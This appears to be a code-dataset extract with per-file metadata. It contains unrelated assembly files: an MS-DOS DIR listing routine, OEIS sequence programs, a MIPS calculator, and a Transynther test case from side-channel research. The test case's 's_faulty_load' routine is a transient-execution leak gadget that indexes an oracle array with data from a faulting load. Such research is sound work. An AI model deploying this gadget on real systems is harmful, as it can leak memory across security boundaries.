dec byte ptr [fullscr] ;AC066;count the line
jnz endif04 ;AN066;IF the last on the screen THEN
call check_for_P ;AN066; pause if /P requested
endif04: ;AN066;
jmp scroll ; If not, just continue
;AD061; mov DirDat_yr,0 ;AC000; reset year, month and day
;AD061; mov DirDat_mo_day,0 ;AC000; in control block
;AD061; mov DirTim_hr_min,0 ;AC000; reset hour & minute in control block
;
; We are done displaying an entry. The code between "noexent:" and "scroll:"
; is only for /W case.
;
nexent:
mov bl,[lincnt] ;AN066;save for check for first entry on line
dec [lincnt] ;count this entry on the line
jnz else01 ;AX066;IF last entry on line THEN
mov al,[linlen]
mov [lincnt],al
invoke crlf2
cmp [fullscr],0 ;AC066;IF have filled the screen THEN
jnz endif02 ;AN066;
call check_for_P ;AN066; reinitialize fullscr,
endif02: ;AN066; IF P requested THEN pause
jmp short endif01 ;AN066;
else01: ;AN066;ELSE since screen not full
cmp bl,[linlen] ;AN066; IF starting new line THEN
jne endif03 ; count the line
dec byte ptr [fullscr] ;AN066; ENDIF
endif03: ;AC066;We are outputting on the same line, between fields, we tab.
mov dx,offset trangroup:tab_ptr ;Output a tab
call std_printf
endif01: ;AX066;
;
; All we need to do now is to get the next directory entry.
;
scroll:
mov ah,Dir_Search_Next
mov dx,FCB-7 ; DX -> Unopened FCB
int int_command ; Search for a file to match FCB
jmp DirStart
;
; If no files have been found, display a not-found message
;
DirDone:
invoke get_ext_error_number ;AN022; get the extended error number
cmp ax,error_no_more_files ;AN022; was error file not found?
jnz dir_err_setup_jmp ;AN022; no - setup error message
test [filecnt],-1
jnz Trailer
mov ax,error_file_not_found ;AN022;
dir_err_setup_jmp: ;AN022;
jmp dir_err_setup ;AN022; go setup error msg & print it
;
; If we have printed the maximum number of files per line, terminate it with
; CRLF.
;
Trailer:
mov al,[linlen]
cmp al,[lincnt] ; Will be equal if just had CR/LF
jz mmessage
invoke crlf2
cmp [fullscr],0 ;AN066;IF on last line of screen THEN
jnz endif06 ;AN066; pause before going on
call check_for_P ;AN066; to number and freespace
endif06: ;AN066; displays
mmessage:
mov dx,offset trangroup:Dirmes_ptr
mov si,[filecnt]
mov dir_num,si
call std_printf
mov ah,Get_Drive_Freespace
mov dl,byte ptr DS:[FCB]
int int_command
cmp ax,-1
retz
mul cx ; AX is bytes per cluster
mul bx
mov bytes_free,ax ;AC000;
mov bytes_free+2,dx ;AC000;
MOV DX,OFFSET TRANGROUP:BYTMES_ptr
jmp std_printf
shoname:
mov di,offset trangroup:charbuf
mov cx,8
rep movsb
mov al,' '
stosb
mov cx,3
rep movsb
xor ax,ax
stosb
push dx
mov dx,offset trangroup:charbuf
mov string_ptr_2,dx
mov dx,offset trangroup:string_buf_ptr
call std_printf
pop DX
return
check_for_P PROC NEAR ;AN066;
test byte ptr[bits],SwitchP ;P switch present?
jz endif05 ;AN066;
mov ax,linperpag ;AN000; transfer lines per page
mov [fullscr],ax ;AC000; to fullscr
invoke Pause
endif05:
ret ;AN066;
check_for_P ENDP ;AN066;
trancode ends
end
| 29.815436 | 83 | 0.674958 |
8d1950a795898d70c43715997a3c95b500d680b8 | 519 | asm | Assembly | programs/oeis/247/A247061.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/247/A247061.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/247/A247061.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A247061: Dynamic Betting Game D(n,5,1).
; 1,8,16,17,24,32,33,40,48,49,56,64,65,72,80,81,88,96,97,104,112,113,120,128,129,136,144,145,152,160,161,168,176,177,184,192,193,200,208,209,216,224,225,232,240,241,248,256,257,264,272,273,280,288,289,296,304,305,312,320,321,328,336,337,344,352,353,360,368,369,376,384,385,392,400,401,408,416,417,424,432,433,440,448,449,456,464,465,472,480,481,488,496,497,504,512,513,520,528,529
mov $1,$0
mod $1,3
mul $1,7
mov $3,$0
add $0,$1
div $0,3
add $0,1
mov $2,$3
mul $2,5
add $0,$2
| 37.071429 | 380 | 0.689788 |
412da626d8c194377c7e8238c7fbadceab053921 | 558 | asm | Assembly | oeis/210/A210973.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/210/A210973.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/210/A210973.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A210973: Decimal expansion of cube root of (3/4).
; Submitted by Jon Maiga
; 9,0,8,5,6,0,2,9,6,4,1,6,0,6,9,8,2,9,4,4,5,6,0,5,8,7,8,1,6,3,6,3,0,2,5,1,2,1,4,1,0,5,2,3,1,5,7,0,6,0,9,8,3,5,7,4,0,6,6,7,1,4,8,9,6,5,6,5,4,8,6,9,7,2,9,6,5,0,9,3,2,8,2,3,5,7,0,8,5,2,0,6,3,2,0,8,5,3,6,0
mov $1,1
mov $3,$0
mul $3,4
lpb $3
add $6,$2
add $1,$6
add $1,$2
add $2,$1
mov $5,$1
mul $1,2
mul $2,2
sub $3,1
add $5,$2
trn $2,$3
add $6,$5
mov $5,$3
lpe
mul $1,5
add $1,14
mov $4,10
pow $4,$0
div $2,$4
cmp $5,0
add $2,$5
div $1,$2
mov $0,$1
mod $0,10
| 17.4375 | 201 | 0.521505 |
f9695f909bf735d1c83f6ad7b9651c971edcad0c | 993 | asm | Assembly | programs/oeis/258/A258807.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/258/A258807.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/258/A258807.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A258807: a(n) = n^5 - 1.
; 0,31,242,1023,3124,7775,16806,32767,59048,99999,161050,248831,371292,537823,759374,1048575,1419856,1889567,2476098,3199999,4084100,5153631,6436342,7962623,9765624,11881375,14348906,17210367,20511148,24299999,28629150,33554431,39135392,45435423,52521874,60466175,69343956,79235167,90224198,102399999,115856200,130691231,147008442,164916223,184528124,205962975,229345006,254803967,282475248,312499999,345025250,380204031,418195492,459165023,503284374,550731775,601692056,656356767,714924298,777599999,844596300,916132831,992436542,1073741823,1160290624,1252332575,1350125106,1453933567,1564031348,1680699999,1804229350,1934917631,2073071592,2219006623,2373046874,2535525375,2706784156,2887174367,3077056398,3276799999,3486784400,3707398431,3939040642,4182119423,4437053124,4704270175,4984209206,5277319167,5584059448,5904899999,6240321450,6590815231,6956883692,7339040223,7737809374,8153726975,8587340256,9039207967,9509900498,9999999999
add $0,1
pow $0,5
sub $0,1
| 141.857143 | 937 | 0.869084 |
33b0b274f6c65158a7e4dd0356801b5c15df87ce | 2,225 | asm | Assembly | 1/1.asm | Ukasz09/Assembly | 95f78281aee33e64e9ef241820a92e03c8b0266f | [
"MIT"
] | null | null | null | 1/1.asm | Ukasz09/Assembly | 95f78281aee33e64e9ef241820a92e03c8b0266f | [
"MIT"
] | null | null | null | 1/1.asm | Ukasz09/Assembly | 95f78281aee33e64e9ef241820a92e03c8b0266f | [
"MIT"
] | null | null | null | .data
prompt1: .asciiz "Podaj pierwsza liczbe: "
prompt2: .asciiz "Podaj druga liczbe: "
promptMenu: .asciiz "\nWybierz z menu: \n1 => dodawanie, \n2 => odejmowanie or \n3 => mnozenie: \n4 => Dzielenie \n5 => Wyjscie\n\nDecyzja: "
promptResult: .asciiz "Wynik: "
promptWrongDecision: .asciiz "\nWybrano niewlasciwa liczbe!"
divByZeroMessage: .asciiz "Nie mozna dzielic przez zero"
.text
.globl _main
.macro showComunicate(%comunicate)
li $v0, 4
la $a0, %comunicate
syscall
.end_macro
_main:
#Zmienne pomocnicze do menu
li $t3, 1
li $t4, 2
li $t5, 3
li $t6, 4
li $t7, 5
#Wczytanie dwoch liczb
showComunicate(prompt1)
jal _readNumber
move $t0, $v0
showComunicate(prompt2)
jal _readNumber
move $t1, $v0
#Wczytanie wyboru z menu
showComunicate(promptMenu)
jal _readNumber
move $t2, $v0
#Wybranie odpowiedniego dzialania wedlug wybranej opcji z menu
beq $t2, $t3, _addProcess
beq $t2, $t4, _subtractProcess
beq $t2, $t5, _multiplyProcess
beq $t2, $t6, _divideProcess
beq $t2, $t7, _endProcess
#Jesli wybrano zly wybor z menu to zostanie uruchomiona ta metoda
_wrongDecision:
li $v0,4
la $a0,promptWrongDecision
syscall
j _endProcess
_addProcess:
add $t6,$t0,$t1
showComunicate(promptResult)
jal _showResult
j _endProcess
_subtractProcess:
sub $t6,$t0,$t1
showComunicate(promptResult)
jal _showResult
j _endProcess
_multiplyProcess:
mul $t6,$t0,$t1
showComunicate(promptResult)
jal _showResult
j _endProcess
_divideProcess:
beqz $t1, divByZero
div $t6,$t0,$t1
showComunicate(promptResult)
jal _showResult
j _endProcess
divByZero:
showComunicate(divByZeroMessage)
j _endProcess
_endProcess:
li $v0,10
syscall
_readNumber:
li $v0, 5
syscall
jr $ra
_showResult:
li $v0, 1
la $a0, ($t6)
syscall
jr $ra
| 21.601942 | 158 | 0.585618 |
91b2f7d0b9f62fa2d009e51c881014a4b0ed5755 | 7,654 | asm | Assembly | Transynther/x86/_processed/AVXALIGN/_zr_/i7-8650U_0xd2.log_14476_1560.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/AVXALIGN/_zr_/i7-8650U_0xd2.log_14476_1560.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/AVXALIGN/_zr_/i7-8650U_0xd2.log_14476_1560.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r13
push %r8
push %r9
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0xbd8a, %r13
nop
cmp $44043, %r9
movb $0x61, (%r13)
nop
cmp $48104, %rax
lea addresses_A_ht+0x1358a, %r8
nop
nop
nop
and $53301, %rdx
movups (%r8), %xmm4
vpextrq $0, %xmm4, %r12
cmp $29492, %rax
lea addresses_D_ht+0x2efa, %rsi
lea addresses_UC_ht+0x17e78, %rdi
nop
nop
nop
nop
add $51635, %r13
mov $122, %rcx
rep movsw
nop
nop
nop
cmp %r8, %r8
lea addresses_WC_ht+0x158a, %r9
nop
nop
nop
nop
sub $8022, %rax
mov (%r9), %dx
nop
nop
xor %rcx, %rcx
lea addresses_normal_ht+0x1a0ba, %rdx
nop
nop
nop
nop
nop
cmp %r13, %r13
movw $0x6162, (%rdx)
nop
and %r13, %r13
lea addresses_WC_ht+0x17da6, %r9
nop
nop
nop
nop
inc %r8
movb $0x61, (%r9)
nop
nop
cmp $61458, %rcx
lea addresses_A_ht+0x19aba, %rsi
lea addresses_D_ht+0xec9e, %rdi
nop
add $53619, %rax
mov $99, %rcx
rep movsl
nop
mfence
lea addresses_WC_ht+0xc44a, %rcx
nop
sub $11392, %rdx
mov (%rcx), %edi
nop
nop
nop
nop
dec %r8
lea addresses_normal_ht+0x13e26, %r13
nop
nop
nop
xor %r9, %r9
movb (%r13), %r12b
nop
nop
nop
dec %rdx
lea addresses_WC_ht+0x133c3, %rsi
lea addresses_normal_ht+0xe0f8, %rdi
clflush (%rdi)
nop
and %rdx, %rdx
mov $110, %rcx
rep movsl
nop
nop
nop
and %rsi, %rsi
lea addresses_normal_ht+0x957e, %rax
nop
nop
nop
nop
xor $31652, %rcx
movb $0x61, (%rax)
nop
nop
nop
nop
dec %r9
lea addresses_D_ht+0x18dea, %r8
nop
nop
nop
nop
nop
and %rsi, %rsi
movb (%r8), %dl
nop
nop
nop
nop
nop
xor $29389, %rsi
lea addresses_WT_ht+0x18a, %rsi
lea addresses_WC_ht+0x1560a, %rdi
nop
nop
nop
nop
nop
cmp %r13, %r13
mov $98, %rcx
rep movsq
nop
add $60438, %rax
lea addresses_normal_ht+0x5eca, %rsi
lea addresses_D_ht+0x1233a, %rdi
clflush (%rdi)
nop
nop
dec %r8
mov $33, %rcx
rep movsl
nop
nop
nop
nop
and %r13, %r13
lea addresses_A_ht+0x17fdc, %rax
clflush (%rax)
nop
nop
nop
nop
nop
sub $49470, %r8
movb $0x61, (%rax)
nop
nop
xor $7824, %r8
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r8
pop %r13
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r14
push %r15
push %rax
push %rcx
// Faulty Load
lea addresses_A+0x15d8a, %r14
nop
sub %r15, %r15
mov (%r14), %r10w
lea oracles, %r14
and $0xff, %r10
shlq $12, %r10
mov (%r14,%r10,1), %r10
pop %rcx
pop %rax
pop %r15
pop %r14
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'size': 2, 'AVXalign': False, 'NT': True, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 1, 'AVXalign': True, 'NT': False, 'congruent': 2, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 2, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 4, 'AVXalign': False, 'NT': True, 'congruent': 2, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': True}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': True}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 6, 'same': True}, 'dst': {'type': 'addresses_D_ht', 'congruent': 4, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': True}}
{'00': 14476}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 33.278261 | 2,999 | 0.656128 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.